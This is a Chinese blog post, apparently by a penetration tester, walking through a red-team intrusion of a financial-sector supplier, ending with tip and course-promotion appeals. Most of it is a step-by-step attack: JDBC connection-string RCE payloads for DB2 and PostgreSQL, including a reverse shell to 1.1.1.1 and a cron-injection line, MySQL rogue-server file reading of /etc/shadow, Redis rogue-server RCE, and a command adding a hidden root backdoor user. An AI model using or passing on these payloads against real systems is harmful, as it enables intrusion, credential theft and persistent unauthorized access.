渗透测试是一个很考验知识面的工作,如果你的知识面不够广,可能就会错失一次 getshell 的机会,当然这些前提是你的信息收集要足够充分才行,所以还是那句话,渗透测试的第一步是信息收集。

前言背景

最近 HW 要开始了,准备对金融行业的一次供应商下手,从供应商角度进行渗透难度门槛确实要低很多了,本文就是其中一个供应商渗透的一个经典素材,本文均做打码处理,发出来仅做思路学习分享,共勉!

拿下数据

拿到系统的 Web 界面的时候,先别想着直接系统后台 getshell,先把系统整体过一遍, 我们这里运气就比较好,直接翻到了系统里面的测试的 MySQL 敏感信息了:

开门红呀,这次渗透运气居然这么好?!

连接数据

连接很顺利啊,上面翻到的数据库密码居然真的可以连接:

但是好像敏感数据不是很多,emmmm

算了算了,就知道渗透不会这么顺利简单的,我们还是得想办法好好深入渗透一下。

Druid Monitor

Druid Monitor 是 Java 网站下常用的数据库连接池,很多开发者习惯性的直接暴露在公网上,我们经常可以未授权直接访问或者弱口令爆破一下,幸运的是,本网站的 Druid Monitor 也被我们成功拿下,发现这个 Java 站点用了几个数据库相关的驱动 Jar 包:

主要和数据库相关的 JDBC 驱动信息相关内容整理如下:

  • com.mysql.cj.jdbc.Driver:/root/deploy/lib/mysql-connector-j-8.3.0.jar
  • org.postgresql.Driver:/root/deploy/lib/postgresql-42.4.5.jar
  • oracle.jdbc.OracleDriver :

所以真正可以跑起来的也就这 3 个数据库,网站支持数据源接入,界面如下:

可以看到这就是虚假宣传呀,前端写了支持这么多数据库接入,但是还好我们通过 Druid Monitor 瞅了一眼 JDBC 相关的驱动,否则可能会走不少弯路。

JDBC 攻击面

其实如果我们可以操控数据源的话,就相当于间接的操作了 JDBC 的字符连接串,相关的漏洞很多,从 IBM 的 DB2 数据库,到 PostgreSQL 以及常见的 MySQL 历史上都出现一些重大的 RCE 级别的 CVE 漏洞的,我们多关注这些 CVE 漏洞必要时还是很有用的。

常见的 JDBC RCE 漏洞国光我简单列举几个吧:

IBM DB2 JDBC RCE 姿势

BLUDB:clientRerouteServerListJNDIName=ldap://{IP};
jdbc:db2://x.x.x.x:3306/BLUDB:clientRerouteServerListJNDIName=ldap://x.x.x.x:1389/Deserialization/CommonsCollectionsK1/Command/Base64/xxxxxxx=;

MySQL JDBC RCE 姿势

在版本 >= 8.0.20, >= 5.1.49 中, 此漏洞已经被修复
https://github.com/mysql/mysql-connector-j/commit/de7e1af306ffbb8118125a865998f64ee5b35b1b
https://github.com/mysql/mysql-connector-j/commit/13f06c38fb68757607c460789196e3f798d506f2

网上一键利用的项目挺多,比如国光常用的有:rmb122/rogue_mysql_server

MySQL JDBC 文件读取姿势

?allowLoadLocalInfile=true&allowUrlInLocalInfile=true

依然可以使用 rmb122/rogue_mysql_server 项目来进行文件读取利用

PostgreSQL CVE-2022-21724 RCE

test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.1.1.1/exp.xml

exp.xml 内容如下:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean class="java.lang.String">
<property name="whatever" value="#{T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFxxxxxxxxxxxxxxxxxxxxxxxxxgMD4mMQ==}|{base64,-d}|{bash,-i}')}"/>
</bean>
</beans>

PostgreSQL CVE-2022-21724 文件写入

jdbc:postgresql:///?loggerLevel={loggerLevel}&loggerFile={loggerFile}&shellContent

利用案例细节:

"dbName": "21\u000a*/1 * * * * bash -i >& /dev/tcp/1.1.1.1/4444 0>&1\u000a?loggerLevel=DEBUG&loggerFile=../../../../../../../../../../../../../../../../var/spool/cron/root&",
        "driverName": "org.postgresql.Driver",

资料分享

其实 JDBC 历史上漏洞确实很多,就比如阿里云安全团队在 HITB Singapore 2021 会上提到的一个比较实用的议题:《Make JDBC Attack Brilliant Again 》 虽然这个议题今年 12 年8 月份就公布了,但是国内的渗透师用 JDBC 日站的比较少。

这个议题的主要内容如下:

  1. 重新分析JDBC定义,并回顾在JDBC攻击面上出现的历史问题,包括MySQL JDBC 任意文件读取,MySQL JDBC反序列化远程命令执行
  2. 深入的分析了已知的攻击案例原理,例如H2 database等
  3. 本次分享的重点,介绍了如何利用JDBC攻击面对不同数据库环境进行攻击(包括IBM DB2、SQLite、Apache Derby等),并首次公开了相关0day的利用细节

对这个议题感兴趣的师傅们,关注公众号回复 jdbc 即可获取议题 PPT的下载链接。

文件读取

很不幸,我们这个网站使用的是 mysql-connector-j-8.3.0.jarpostgresql-42.4.5.jar 高版本,敲好我们上面准备的 RCE 利用姿势没法直接使用:

但是好在存在 MySQL JDBC 文件读取姿势可以利用,我们通过 Web 界面构造好 JDBC 连接串,一般我们通常在 DB 数据库名后面配置拼接,比如这里我们填写的数据库名为:

test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true#

然后在数据源里面填好我们通过 rmb122/rogue_mysql_server 项目启动的假的 MySQL 的服务器信息:

尝试读取 /etc/shadow 居然都成功的,看来权限很高呀:

既然是高权限的文件读取,我们可读的文件就灵活很多了:

翻阅文件

在只有文件读取权限的情况下,不知道敏感文件的具体路径,这个时候就有点盲人摸象的感觉,全靠运气和细致的信息收集了:

/root/ .bash_history

翻一下 root 用户敲的命令是一个很常见实用的思路,我们来康康到底有啥,我们定位到了一个 yml 的配置文件和另一个 139 开头的服务器信息:

可惜通过文件读取 SSH 相关的敏感信息,该服务器并不是通过公私钥来进行 SSH 远程控制 139 服务器的,所以我们没法直接去接管 139 服务器,只能想办法看看这个 application-dev.yml 的文件内容了。

root/deploy/deploy.sh

通过 .bash_history 历史命令记录:

提取关键信息如下:

cd
ls
cd deploy
ls
ll
./deploy.sh es dev

所以可以反推出 deploy.sh 的绝对路径信息为:

/root/deploy/deploy.sh

脚本审计

通过读取 /root/deploy/deploy.sh 的内容,我们需要来确定好 yml 配置文件的路径:

提取关键信息如下:

#判断参数个数
if [ $# != 2 ]; then
	echo "参数个数不正确 请输入 1.项目(es,ts) 2.环境(dev,sit,uat,prd)"
	exit 1
fi

# 定义变量
basePath=~/deploy
mainClass=App
# 获取参数
app=$1
env=$2

# 判断参数是否正确
if [ "$app" != "es" ] && [ "$app" != "ts" ]; then
    echo "请输入正确的参数:es 或 ts"
    exit 1
fi

if [ "$env" != "dev" ] && [ "$env" != "sit" ] && [ "$env" != "uat" ] && [ "$env" != "prd" ]; then
    echo "请输入正确的参数:sit 或 uat 或 prd"
    exit 1
fi

# 启动
echo "启动"
cd $basePath/$app/
nohup java -Xms1024m -Xmx4096m -Dlogback.configurationFile=$basePath/$app/logback.xml -classpath  "$basePath/lib/*:$basePath/$app/df-$app.jar" com.skyon.$mainClass --spring.config.location=$basePath/$app/application-$env.yml 2>&1 &

所以可以推测出 application 相关的配置文件有以下几个可能:

  • /root/deploy/es/application-dev.yml
  • /root/deploy/es/application-sit.yml
  • /root/deploy/es/application-uat.yml
  • /root/deploy/es/application-prd.yml
  • /root/deploy/ts/application-dev.yml
  • /root/deploy/ts/application-sit.yml
  • /root/deploy/ts/application-uat.yml
  • /root/deploy/ts/application-prd.yml

关键配置

上面有 8 种可能,期间读取失败了很多次,都是一些没敏感信息的配置文件:

这些无效信息并不能让我们继续深入下去,继续赌一把,继续读取看看,毕竟还有几个可能的路径没有尝试呢?

终于,这次赌对了,居然真的在一个 dev 配置文件里面读取了 139 服务器的 Redis 的密码,这个密码虽然被注释了,但是还是被我们发现了:

我们来连接看看,居然真的连接成功了:

运气开始好起来了:

Redis RCE

虽然 Redis 里面的超级管理员的密码是加密的:

但好在 Redis 是 5.0.3 低版本:

所以利用 https://github.com/Dliv3/redis-rogue-server 项目:

直接加载 exp.so 来命令执行,成功拿到 139 服务器的 root 权限:

权限维持

这个 Redis CLI 交互不是很方便,第一步直接反弹 tty shell 到外网服务器:

image-20240523094314349

添加一个 ibm2 密码为 P@ssw0rd 的 root 权限用户:

useradd -p `openssl passwd -1 -salt 'salt' P@ssw0rd` ibm2 -o -u 0 -g root -G root -s /bin/bash -d /home/guest

成功登录,进入内网:

新的内网渗透即将开始了,「新的风暴已经出现,怎么能够停滞不前。」好了,本文篇幅有限,接下来就不继续展开了:

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!